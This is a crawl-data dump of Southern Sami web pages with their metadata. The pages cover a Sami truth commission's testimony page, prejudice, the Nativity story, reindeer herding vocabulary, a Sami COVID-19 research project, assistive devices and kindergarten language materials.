daelie joe mijjiem bieljelidh jis sïjhth goerehtallesovvedh, seedth dle dov bïevnesidie diekie; email@example.com jallh prieviem tjaeledh (vuartesjh tjaelemesijjie vuelelen) dan mænngan kommisjovnen sekretariaate datnem bieljele jïh goerehtallemem latjkeden. Kommisjovnen maadthvåarome almetjh edtjieh jïjtje veeljeldh jis sijhtieh dej dååjrehts kommisjovnine juekedh jallh goerehtallesovvedh. Jis sïjhth goerehtallesovvedh tjoerh mijjiem bieljelidh. Jis bieljelh saadthålman tjirrh dle tjoerebe goerehtallemeålmine soptsestidh jïh satnine latjkedh.\nGuktie edtjem aktem tjaaleldh dååjrehtsem juekedh?\nDatne maahtah dam dov vaajesem diekie seedtedh,\nfirstname.lastname@example.org jallh prievine daan tjaelemesæjjan:\nSanningskommissionen för det samiska folket (Ku 2021:02)\nRegeringskansliet\nKv.Garnisonen\n103 33 Stockholm\nMarja-Kristin Skum\n076-1273764\nemail@example.com\nLena Kroik\n076-1136546\nfirstname.lastname@example.org\nElli-Ristin Tuorda\n076-110 94 16\nemail@example.com\nDatne åadtjoeh tsiemeds årrodh.\nDaesnie maahtah lohkedh guktie mijjieh dejtie dov persovneles bievnesidie vaarjelibie. Lohkh vielie\nGåessie jïh gusnie edtjebe datnem goerehtalledh?\nGoerehtallemebarkojne aelkebe jaepien 2023, jïh 2024 aalkoeraajan. Gosse datne leah bieljelamme sïjhth goerehtallesovvedh, dle mijjieh sijhtebe datnem bieljelidh jïh nååhtedibie. Maehtebe aaj digitaale goerehtalledh.\nNuepie duvtemegaskesadtemem åadtjodh\nGosse nåake dååjrehts- jallh mïedtelimmien bïjre soptsestamme dle maahta nåake mojhtesh\/domtenassh vijht jijhtedh. Gaajhkesh dovnesh mah kommisjovneste goerehtallesuvvieh duvtemefaaleldahkem mænngan åadtjoeh. Jeenjebh bïevnesh dan bïjre åadtjoeh gosse goerehtallemisnie orreme. Mejtie dov naan gyhtjelassh, maahtah seamma gåessie ringkedh; 076-136 706","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sanningskommissionensamer.se\/sma\/soptsesh-dam-dov-vaajesem\/","date":"2024-04-21T17:32:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817790.98\/warc\/CC-MAIN-20240421163736-20240421193736-00856.warc.gz","language":"sma","language_score":0.9999898672,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999898672103882}","num_words":393,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åvtelhaarvoeh jïh dåehkieussjedimmie\nÅvtelhaarvoeh leah akte jienebh daajehtsijstie mah tjuvtjiedieh naan sïejhme mekanismide negatijve vuajnoej duekesne ovmessie dåehkide. Akte jeatjah nuhteligs daajehtse lea «mubpiedehteme», amma baakoeh, vuajnoeh jïh prosessh mah såemies indivijdh biejieh goh «doh mubpieh», goh naakenh mah eah leah bieline «mijjeste». Mubpiedehteme viehkiem vadta vuejnedh guktie dïhte maam mijjieh jiehtebe jïh darjobe aarkebiejjien, maahta viehkiehtidh guktie naan dåehkieh aktem vielie leeseldihkie posisjovnem åadtjoeh goh «doh mubpieh».\nDah mijjeste mah ahkedh vuajnalgieh goh «doh mubpieh», maehtieh dam dååjredh goh stoerre maajsoe. Mikroaggresjovne jïh aarkebiejjien tjïertevidtjie leah göökte daajehtsh tsiehkide gusnie naakenh dååjroeh steempelem åadtjodh goh «doh mubpieh».\nVoerkesvoete åvtelhaarvoej jïh mubpiedehtemen bïjre maehtieh mijjem viehkiehtidh ij sïerredidh, daate sæjhta jiehtedh almetjh joekehtslaakan gïetedidh. Dïhte maahta aaj mijjem viehkiehtidh dåehkievædtjanvoetem hööptedh, daate sæjhta jiehtedh vielie vædtjan vuajnoeh jeatjah dåehkide. Dotkeme lea vuesiehtamme almetjh mah vædtjan vuajnoem akten dåahkan utnieh, leah daamtaj vædtjan jeatjah dåehkiej vööste aaj.\nDaan teeman nuelesne maahtah vielie lohkedh daej ovmessie daajehtsi bïjre. Datne aaj tjïelke tipsh, darjomh jïh ööhpehtimmiesoejkesjh gaavnh mah leah ovmessie åvtelhaarvoemekanismi bïjre.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dembra.no\/sma\/tema\/fordommer-og-gruppetenkning","date":"2024-04-22T01:44:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00152.warc.gz","language":"sma","language_score":0.9999898672,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999898672103882}","num_words":169,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåvlevaentjele\nDej beeli keejsere Augustus stilli gaajhkh almetjh galkin almetjelåhkose tjaalasovvedh. Daate voestes tjaalasovveme sjïdti gosse Kvirinios Syrian åvtehkinie. Jïgaajhkesh jïjtsh staaride vöölkin tjaalasovvedh. Josef aaj Galilejeste, Nasareten staareste vöölki, Judejese Daviden staarese man nomme Bet-lehem, juktie Daviden gåeteste jïh boelveste lij. Jïjtse aelhkienïejte Maarjine gie nåajsan, vöölki edtji tjaalasovvedh. Gosse ligan desnie, biejjie bööti gosse galki baersieldidh, jïh voestes baernemse reakadehti. Juktie dej ij naan gåetieluhpie, tjoeri maanam njåatsoestehtedh jïh kråbpose bïejedh. Dan jïjjen naan ryöjnesjæjjah ealoem dajvesne ryöjnesjeminie. Dellie ÅEJVIEN eenkele dej uvte tjåadtjoeminie jïh ÅEJVIEN hearlohkevoete dejtie tjoevkedi, jïh dah alvehtovvin. Eengkele jeahta: \"Aekkede alvehtovvh! Mov lea saernie dijjese stoere aavoen bïjre, stoere aavoe gaajhkide almetjidie. Daelie dijjen lutniestæjja Daviden staarese reakadamme. Dïhte Messija, Åejvie. Daate diijese væhta: Slïedtemaanam gaavnede, njåatsoestahteme jïh kråbposne vealan\". Jïh faahketji eengkelen luvnie, elmierïjhken foeve Jupmelem heevehti jïh jeehti: \"Earoe Jupmielasse, jallatjommesisnie, jïh raeffie eatnamasse, almetjidie giejstie Jupmele aavode.\"","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.svenskakyrkan.se\/harjedalen\/guds-rika-valsignelse-till-er-alla","date":"2024-04-23T07:54:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818468.34\/warc\/CC-MAIN-20240423064231-20240423094231-00200.warc.gz","language":"sma","language_score":0.9999884367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999884366989136}","num_words":147,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2002\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n31\nGærjetje mearoesaemien kultuvren bïjre Čuđegieddeste, Leaibevuotneste jïh Smiervuotneste.\nGærjetje gusnie soptsesåvva Porsáŋgun histovrijen jïh årroji bïjre. Eatnemeåtnoe, bigkemevuekieh, vætnoe jïh beapmoeh, saemiej dovletje jaahkoe jïh kristesvoete, soptsestimmesvuekieh, kultuvremojhtesh, saemien sijjienommh jïh kaarhth. Minngemes sæjrojne dovne læstoe eatnemebaakojste mah daamtaj sijjienommine åtnalgieh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_sjosamekulturen-i-ytre-porsanger","date":"2024-04-23T08:01:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818468.34\/warc\/CC-MAIN-20240423064231-20240423094231-00264.warc.gz","language":"sma","language_score":0.999956727,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999567270278931}","num_words":54,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekten bïjre\nProsjekten ulmie lea vielie bïevnesh gaavnedh guktie saemien årrojh Nöörjesne leah pandemijem jïh suetievaarjelimmieråajvarimmide dååjreme jïh haalveme, jïh mejtie saemien tjïelth leah jeatjah njoelkedassh jïh strategijh sjïehtesjamme juktie pandemijem gïetedidh. Saemien healsoedotkemejarnge (SHDJ) goerehtimmiem tjirrehte.\nDaate prosjekte sæjhta positijve jïh negatijve seabradahkekonsekvensh almetjehealsoeråajvarimmijste kraanskodh goh vaestiedasse koronapandemijese arktiske seabradahkesne. Gosse saemien utnijh leah meatan edtjebe voenges daajroem identifiseeredh jïh koronadååjrehtimmieh jïh haalvemestrategijh saemien årroji luvnie jïh ovmessie saemien seabradahkine kraanskodh.\nFåantoe\nKoronapandemije byögkeles dïenesjh haasta gaajhkine daltesisnie, jïh lea gyhtjelassh buakteme etnihkeles jïh geograafeles sïerredimmien, healsoemïrrestallemen jïh balaansen bïjre gaskem almetjehealsoeråajvarimmieh jïh individuelle reaktah. Joekehts suetievaarjelimmiereaktah – jïh råajvarimmieh orreme dejnie joekehts nasjonaalestaatine gusnie arktiske almetjh årroeminie, jïh daerpies dotkeminie juktie ellieslaakan konsekvenside COVID-19-pandemijeste Arktisesne guarkedh.\nSaemien COVID-19-goerehtimmie\nSaemien COVID-19-goerehtimmie Nöörjesne lea bielie Arktiske Raerien sirkumpolaare prosjekteste Arctic community perspectives on COVID-19 and public health: A Multi-Site Case Study (Arktiske seabradahkeperspektijve COVID-19-pandemijese jïh almetjehealsose: Akte gellenelehkesne kasusegoerehtimmie). Barkoedåehkie Sustainable Development Working Group (SDWG) Arktise Raeresne lea prosjektem aalkeme jïh dam stuvrie. Saemien bielie goerehtimmeste dorjesåvva gaskem goeven 2021 jïh suehpeden 2023, jïh sæjhta daatah mah buerkiestidh, analyjsh jïh juvnehtimmieh vedtedh mah maehtieh åtnasovvedh almetjehealsoeråajvarimmien båetijen aejkien.\n1. boelhke: Daatah mah almetjehealsoeråajvarimmieh buerkiestieh\n1.boelhke prosjekteste lij byögkeles daatah tjöönghkedh mah gååvnesieh jïh mah buerkiestieh, juktie almetjehealsoeråajvarimmieh goerehtalledh mejgujmie nïerhki jallh idtji nïerhkh, vuesiehtimmien gaavhtan jovnesem hööltedh, juehkelde årrodh gosse suetiem åtna, vuelkemerestriksjovnh, karanteene, njaelmieskuvmieåtnoe jïh teestadimmie. Daennie bielesne prosjekteste aaj goerehtalli guktie daah råajvarimmieh årroji dåemiedimmiem baajnehtin, jïh guktie aalkoeåålmegi aerpievuekieh sjïehtedamme sjïdtin koronapandemijese. Dïhte mij 1. boelhkem stuvri Skandinavijisnie jïh Kruanalaantesne lij Dr. Christina V.L. Larsen (PhD, Centret for folkesundhed i Grønland, Statens Institut for Folkesundhed, Syddansk Universitet & Grønlands Center for Sundhedsforskning, Kruanalaanten Universiteete).\nSHDJ lea kvaliteetem gorredamme illedahkide Möörjeste 1.boelhkeste. Daatatjöönghkeme jïh kvaliteetegorredimmiem illesovvi åvtelen suehpeden 31.b. 2021, jïh gaavnojde lea bæjhkoehtamme reektehtsisnie A Review of COVID-19 Public Health Restrictions, Directives, and Measures in Arctic Countries (englaantengïelen reektehtse).\n2.boelhke: Saemien COVID-19-goerehtimmie Nöörjesne\nNöörjen-saemien bielie prosjekteste sæjhta konsekvenside COVID-19-pandemijeste jïh suetievaarjelimmieråajvarimmijste kraanskodh indivijde- jïh dåehkiedaltesisnie.\nInvolveereme utniejijstie lea prosjekten jarngesne. SHDJ lea guejmievoetem tseegkeme Várdobáiki saemien jarngine juktie gorredidh saemieh leah meatan juktie voenges daajroem jïh koronadååjrehtimmieh identifiseeredh. Vardobáiki kvalitatijve gihtjehtimmieh åtna utnijigujmie Vardobáiki saemien jarngesne guktie koronapandemije lea aarkebiejjiem jïh leajhtadimmiem åejvieladtjide baajnehtamme jarngen utniji gaskem.\nDaataproduksjovne 2. boelhkesne lea:\n- Vuartasjidh maam saemien medijah leah koronapandemijen bïjre tjaaleme.\n- Gihtjemegoere jïh gihtjehtimmieh struktuvren mietie tjïeltigujmie saemien gïelereeremedajvesne jïh såemies staarigujmie, saemien institusjovnigujmie, Saemiedigkine jïh Healsoe Noerhtine.\n- Kvalitatijve gihtjehtimmieh utnijigujmie Várdobáiki saemien jarngeste.\nDotkemegyhtjelassh:\n- Mah dååjrehtimmieh saemien almetjh jïh seabradahke utnieh almetjehealsoeråajvarimmiejgujmie koronapandemijesne?\n- Guktie saemien almetjh jïh seabradahke leah jïjtjemse sjïehtedamme koronapandemijese?\n- Lea aalkoeåålmegi daajroem jïh voenges daajroem sjïehtesjamme nasjonaale suetievaarjelimmienjoelkedasside jïh -raeride?\n- Saemien årrojh jïjtjemse sjïehtedamme koronapandemijese jeatjahlaakan lissine dejtie nasjonaale njoelkedasside?\n- Råajvarimmieh sjïere konsekvensh åtneme (jeatjah goh dah mah jienebelåhkoen årrojh leah åtneme) sosijaale jieliedasse, tsiehkide almetji gaskemsh, maadtoeladtjide (aaj raasti dåaresth) jïh gïele- Jïh kultuvrebarkose?\n- Saemieh Nöörjesne bïevnesh COVID-19-pandemijen bïjre åådtjeme saemien gieline?\n3. boelhke: Reektehtse jïh sjïehtesjimmie\nMinngemes boelhke sæjhta ektiedimmide kraanskodh goerehtimmiej gaskem dejstie gaektsie lïhtsegelaantijste juktie råajvarimmide arktiske seabradahkine tjïertestidh. Ulmie lea raerieh vedtedh jïh dåajvoje vuekieh dokumenteeredh mejtie Arktiske Raerie jïh ihkuve lïhtsegh raeresne sïemes jïh koordineereden almetjehealsoeråajvarimmide båetijen aejkien almetjehealsoeaehpiej bïjre Arktisesne maehtieh goerehtidh. 3. boelhke sæjhta aaj våaroeminie årrodh minngebe goerehtimmide konsekvensi bïjre pandemijeste Arktisesne guhkiebasse. Nöörjesne dotkijh SHDJ:ste sijhtieh reektehtsem tjaeledh saemien goerehtimmien bïjre, jïh meatantjaeliejinie meatan årrodh faageguejmievuarjasjamme bæjhkoehtimmide daan prosjekten bïjre.\nTïjjesoejkesje\n|Arktiske seabradahkeperspektijve COVID-19-pandemijese jïh almetjehealsose: Gellenelehkesne goerehtimmie\n|1. boelhke\n|2. boelhke\n|3. boelhke\n|Daatah mah buerkiestieh\n\n\nReektehtse saemien tsiehkiegoerehtimmeste\nReektehtse jïh fokuse sjïehtesjæmman råajvarimmijste dejnie 8 laantine mah leah meatan\n|Gïjren 2021\n|Tjaktjen 2021 – gålkoen 2022\n|Goeven 2022 – suehpeden 2023\nGuhkiebasse goerehtimmieh goh bielie SAMINOR 3-goerehtimmeste\nSAMINOR 3 lea mubpie bielie SAMINOR- healsoe- jïh jieledetsiehkiegoerehtimmeste dajvine saemien jïh nöörjen årrojigujmie. SAMINOR 3 tjirrehtamme sjædta dajvine saemien jïh nöörjen årrojigujmie gïjren 2023-tjaktjen 2025. SAMINOR 3 tjirrehtamme sjædta stoerreskaala epidemiologeles daatatjöönghkeminie, gihtjemegoerine dejtie mah meatan, virrepryövevaelteme jïh klinihkeles goerehtimmieh saemien jïh daaroen årroji luvnie. SHDJ sæjhta aaj konsekvensh kraanskodh koronapandemijeste jïh suetievaarjelimmieråajvarimmijste indivijde- jïh dåehkiedaltesisnie goh lissiehtasse daan goerehtæmman.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sa.uit.no\/project\/samicov_sa\/prosjekt","date":"2024-04-16T03:30:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817043.36\/warc\/CC-MAIN-20240416031446-20240416061446-00350.warc.gz","language":"sma","language_score":0.9999585152,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999585151672363}","num_words":640,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Bovtse\nBovtsh jielieh eatnemen noerhtemes dajvine. Joekoen vihkele saemide, dejbeeli jïh aaj annje daan biejjien. Saemieh dovne Nöörjeste, Sveerjeste, Finlaanteste jïh Russlaanteste bovtsigujmie barkeminie. Jalhts jeenjemes saemieh jeatjah barkoeh utnieh, dïhte bovtse jïh båatsoe joekoen vihkeles saemien kultuvrese.Båatsoe\nBåatsoesaemieh sïjtide juakasovveme. Åarjemes båatsoesïjte Nöörjesne lea Svahken sïjte Hedmarhkesne. Noerhtemes sïjte Finnmarhkesne. Båatsoesaemiej vihkielommes laavenjasse lea bovtsem geehtedh. Dah tjuerieh vaaksjodh mejtie gåatome hijven, mejtie ovjuvrh båetieh jïh vaaksjodh guktie bovtse åådtje raeffesne årrodh. Jeatjah vihkeles laavenjassh leah bovtsem tjöönghkedh, mïerhkesjidh, raerhkedh jïh leekedidh.\nBovtsen tjåervieh\nDovne aaltoen jïh sarvan leah tjåervieh. Sarvan tjåervieh sagki stuerebe aaltoen tjåervijste. Tjåerviejgujmie veaksastellieh. Naan våhkoeh skïeredahken mænngan sarva tjåervieh gahtjede. Aaltoe tjåervieh gahtjede sööhpemen mænngan.\nMaam gååte\nBovtse dovne burhvie, lasth, kraesieh, goebperh jïh jeatjah sjædtoeh gååte. Båatsoeburrieh tjuerieh abpe tïjjem gïehtjedidh guktie gåatome lea.\nGellie nommh\nBåatsoesaemieh utnieh gellie ovmessie nommh bovtsese. Dah nommh bïhkedieh guktie bovtse vååjnoe (guktie tjåervieh, guktie goelkh), man båeries, guktie dåemede jïh mejtie lea minngeles- jallh urriesbovtse.\nOvmessie nommh:\nMiesie:\nslïbnjehke (nyfødt kalv)\nminngelesmiesie (hunnkalv)\nurriesmiesie (hannkalv)\ntjorme (fjorkalv)\ntjearma (fjorkalv som følger simla)\nAaltoe\nvoenjele (1 år)\nlööhpe (1 årig som har fått kalv)\nvoenjele(-aaltoe) (2 år)\nrutnetje\/strutnjetje (3 år)\naaltoe ( simle som har kalv)\nmiesehke ( simle og kalv sammen)\nråtnoe (en simle som ikke har kalv det året)\ntjïelke råtnoe ( en simle som ikke er blitt bedekt)\nstaajne råtnoe ( Steril hunnrein)\ngahpa (tvekjønnet, steril hunnrein)\ntjåaptja ( en simle som har født kalv, men mistet den)\njaahke aaltoe ( en simle som bærer kalv)\nSarva\nhorhtje ( 1 årig okserein)\nvuepere (2 årig okserein)\ngirrehke (3 årig okserein)\nguesehke ( 4 årig okserein)\nmaakenåhkoe (5 årig okserein)\nnommelaehpije ( 6 år og eldre okserein)\nråantjoe (kastrert reinokse)\nråahke (eldre kastrert reinokse)\nrahka ( halvkastrat)\ngaatske ( en rein som ble kastrert en gang i løpet av året)\n(trykk her for å lytte) trykk her for ordliste)\nLaavenjassh:\n- Guktie Nöörjen åarjemes båatsoesïjten nomme?\n- Mij lea båatsoeburrien vihkielommes laavenjasse?\n- Gåessie sarva tjåervieh gahtjede?\n- Maam bovtse gååte?\n- Sarva mij lea göökten jaepien båeries gohtjesåvva….?\n- Sarva mij lea njieljien jaepien båeries gohtjesåvva….?\n- Aaltoe mij lea göökten jaepien båeries gohtjesåvva….?\n- Miesie mij aadtjegh reakadamme gohtjesåvva….?\n_____________________________________________________\nLïerehtimmieh:\nTren på ord i LEKSA: båatsoe\nTren på ord i LEKSA: dyjrh\nLes mer om reindrift på sametingets hjemmeside:","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kuvsje.oahpa.no\/index.php\/2014\/04\/22\/bovtse\/","date":"2024-04-21T02:59:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817699.6\/warc\/CC-MAIN-20240421005612-20240421035612-00114.warc.gz","language":"sma","language_score":0.9995638728,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9995638728141785}","num_words":357,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IPCA- goerehtallemedïrrege almetjidie stoerre gaskesadtemetsagkesigujmi\nIPCA lea goerehtallemedïrrege mij uvtemes lea almetjidie stoerre gaskesadtemetsagkesigujmie, mah kråahpeles, åvtegïeleldh buektemevuekieh utnieh goh jïjtjereerije buektemevuekieh. Maahta aaj sjiehteles årrodh almetjh goerehtalledh mah guarkoeh jïh dagke jïjtjh såemies baakoeh jallh jeatjah symbovlen buektemevuekieh nuhtjieh. IPCA dovne maanide, noeride jïh geerve almetjidie sjeahta aareh evtiedimmiedaltesinie. Dïhte bijjieguvviem vadta almetjen joekehts gaskesadtemevuekiej bijjeli. Dagkeres goerehtalleme maahta voerkesvoetem almetjen joekehts buektemevuekiej bijjeli lissiehtidh, jïh dan bïjre mij jeahtasåvva. Dïhte maahta aktem vielie seammalaakan toelhkestimmiem jïh vaastahtahkem vedtedh lïhkes almetjijstie, naakede mij maahta viehkiehtidh buektemevuekide almetjen luvnie dibrehtidh.\nGoeresne 53 gyhtjelassh joekedamme 10 kategorijide, öörnedamme dan funksjovnen mietie fïereguhte buektemevuekie åtna.\nGïeh maehtieh IPCA:m nuhtjedh\nIj leah byjjes krïevenassh, men dïhte gie edtja materijellem nuhtjedh lea byöreme damtedh dam almetjem gïem edtja goerehtalledh, unnemes 6 askh. Maahta sjyöhtehke årrodh lohkehtæjjide, PP-raeriestæjjide, psykologide, logopedide, vaarjelimmiesåjhteridie, fysioterapeevtide, ergoterapeevtide jïh eejhtegidie. Maahta læjhkan aevhkine årrodh dïhte gie dievhtemem tjïrrehte, dååjrehtimmiem jïh goerkesem åtna åvtegïeleldh gaskesadtemen bïjre.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.statped.no\/laringsressurser\/sammensatte-larevansker\/samisk-sammensatte-larevansker\/ipca--goerehtallemedirrege-almetjidie-stoerre-gaskesadtemetsagkesigujmi\/","date":"2024-04-12T15:23:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816024.45\/warc\/CC-MAIN-20240412132154-20240412162154-00356.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":152,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Viehkiedalhketjh jih rehabiliteringe, hjälpmedel och rehabilitering\nViehkiedlalhketjh\nAktem vïehkiedalhketjem maahta dov biejjiem aelhkebe ovmessie daepine daajhtodh numhtie ahte buektedh jienebh jïjtjemes jieledh. Datne maahtah viehkiem daejgujmie åadtjodh, vuesiehtimmien gaavhtan pryövemem jårreme-tjahkesinie, stratjkelaavkoestehkine, rollatovrine jih jeatjah viehkiedalhketjh mestie dov daerpiesvoeth leah. Dïhte lea viehkiedalhketji bïjre ihke jïjtje vuesiehtimmien gaavhtan buektedh jallh viehkiem jeatjajgujmie buektedh gåårvedidh, jïjtjemse juhtedh jih buektiehtidh fïerhtenbeajjetji rutinh gåetesne öörnedh.\nDutnjien mij aehpebe åtnah måjhtajidh, soejkesjidh, struktuvrem utnedh jallh mennie mieresne daejredh aaj viehkiedalhketjh gååvnese mij viehkedieh jih darjoeh ihke buektiehtidh jïjtje jih meatan siebredahkesne arrijh.\nAelhkebe viehkiedalhketjh goh kreemsemebastem, sjïerebyöpmedimmie-dïrregh jallh tjahkesedåvnam doekemasse gååvnese. Raeriestimmie doekemesijjide vuelnie lingkine gååvnese. Jeatjah dalhketjh goh rollatovre, jårreme-tjahkese jallh stratjkelaavkoestehkie pryövoen männgan skïemtjegymnasteste jallh barkoeterapauteste mijakt govleme jih åasehts olkese tjïelteste jallh laantedigkeste löönien. Gosse daerpiesvoete orrije jallh jeatjadehten gelkieh viehkiedalhketjidie bååstede laehpedh.\nGie reaktah utnieh viehkiedalhketjidie?\n- Datne mij aktem ov-verviem åtnah jih daerpiesvoetem viehkiedalhkesistie åtnah ihke dov öörhtje-biejjiem buektedh.\n- Såjhtoe- jallh hoksebarkijh mah daerpiesvoeth utnieh viehkiedalhkesi mietie ihke datnem buektedh hoksedh.\nMij faalen?\nVuesiehtimmieh magkerh viehkiedalhketjh datne maahtah löönedh:\n- jårreme-tjahkese\n- Rollatovre\n- Stratjkelaavkoestehkie\n- Almetje-lutnjehtahke\n- Viehkiedalhkeseseangkoe\n- Seankoerudtjedåarjege el-bijjiedimmine\nVuesiehtimmie gusnie åesies-sijjieh viehkiedalhketjidie leah lingkide åelkiesbielesne rubriken nuelesne \"Läs mer här\".\nÅasah\nViehkiedalhketjh mah skïemtjegymnsteste jallh barkoeterapauteste olkese tjaelien jallh löönien, åesehts leah, bene akten åasam guktie taaksa hïejmeskïemtjesåjhtoste olkese vaeltien skïemtjegymnasten jallh barkoeterapauten barkojste, gosse åvtetjaelien jih pryövemem darjoen.\nOvmessie viehkiedalhketjh ryöknoen goh jïjtshsåjhtoem jih dejtie åadtjoeh jïjtje åestedh. Lohkh jienebh dan bïjre viehkiedalhketjejarmgen hïejmesijjesne: www.jll.se\/hmc dan nuelesne \"hjälpmedel och egenansvarsprodukter\". Detjtie dalhketjidie datne tjoerh maeksedh, akten åasarehpiem gååvnese.\nJis datne akten el-jårremetjahkesem åtnah fïerhten jaepien aktem åasam olkese viehkiedalhketjejarngeste vaeltien.\nRehabiliteringe\nRehabiliteringe akten tjåangkoes nommem ovmessie barkojste datne maahtah daarpesjidh gosse datne leah jallh skïemtjes jallh irhkemisnie orreme. Rehabiliteringe tjïelten årromesijjesne jih hïejmeskiemtjehoksesne tjïelterehabeste daajhtoen. Maadtoem dej barkojste leah ahte datne galkh bååstede åadtjodh, utnedh jallh dov fysisken funksjovnide bueriedidh. Akten digkiedimmiem barkoeterapauteste jallh skiemtjegymaseste iktesth eller på maadtoen rehabiliteringabarkojste leah.\nDarjosne leah göökte skïemtjegymnasth, golme barkoeterapauth jih akten rehabassistente.\nSkïemtjegymnaste digkiedimmiem jih saavresem dorje jih aaj viehkiedalhketjh åvtetjaelien.\nBarkoeterapautide digkiedimmiem jih saavresem daajhtoen, viehkiedalhketjh åvtetjaelien jih olkese ovmessie tjaatsegh tjaelien. Vuesiehtimmien gaavhtan årromesijjiesjiehtemasse.\nRehabassistente saavresem aktegh jallh dåehkine daajhtoen jih aaj delegeringine.\nBarkoeterapaute\/skïemtjegymnaste gellien aejkien jeatjah barkijigujmie voereshoksesne ektiebarkosne barkijägan jih aaj lïhkesadtjigujmie barkijägan. Barkojde maehtieh gåetesne, voeresgåetesne jallh tjïelten åenehkstijjeårromesijjesne daajhtodh.\nÅasah\nÅasah rehabiliteringese olkese vaeltien guktie hïejmesåjhtoen taaksa lea. Jis datne sjïere årromesijjesne årroen hïejmeskïemtjesåjhtoem jih rehabiliteringe meatan leah don hokseåasesne mij datne joe maaksah.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/berg.se\/saepmie\/information-pa-samiska\/hokse-viehkie-jih-sajhtoe---omsorg-hjalp-och-vard\/viehkiem-gaetesne-hjalp-i-hemmet\/viehkiedalhketjh-jih-rehabiliteringe-hjalpmedel-och-rehabilitering","date":"2024-04-17T09:37:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817146.37\/warc\/CC-MAIN-20240417075330-20240417105330-00522.warc.gz","language":"sma","language_score":0.9999850988,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999850988388062}","num_words":397,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanagïerten mieriesoejkesjen mietie saemien maanagïertemaanah edtjieh dåarjoem åadtjodh sijjen gïelem vaarjelidh jïh evtiedidh.\nDaate gærja hijvenlaakan sjeahta maanagïertesne nuhtjedh gosse maanaj gïeleevtiedimmine barka. Gærja dorjesovveme TRAS-gærjan mietie jïh lea sjïehtedamme gaektsie gïelesuerkide mah TRAS-gærjesne gååvnesieh. Gærjesne vuesiehtimmieh gaavna guktie gïeline barka, vuesiehtimmien gaavhtan stååkedimmien jïh spïeli tjïrrh.\nSaemien lohkemejarnge lea gærjam Tiltak til TRAS saemiengïelese sjïehtedamme.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/davvi.no\/?cat=news-archive&id=47&lang=se","date":"2024-04-15T12:13:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816977.38\/warc\/CC-MAIN-20240415111434-20240415141434-00700.warc.gz","language":"sma","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 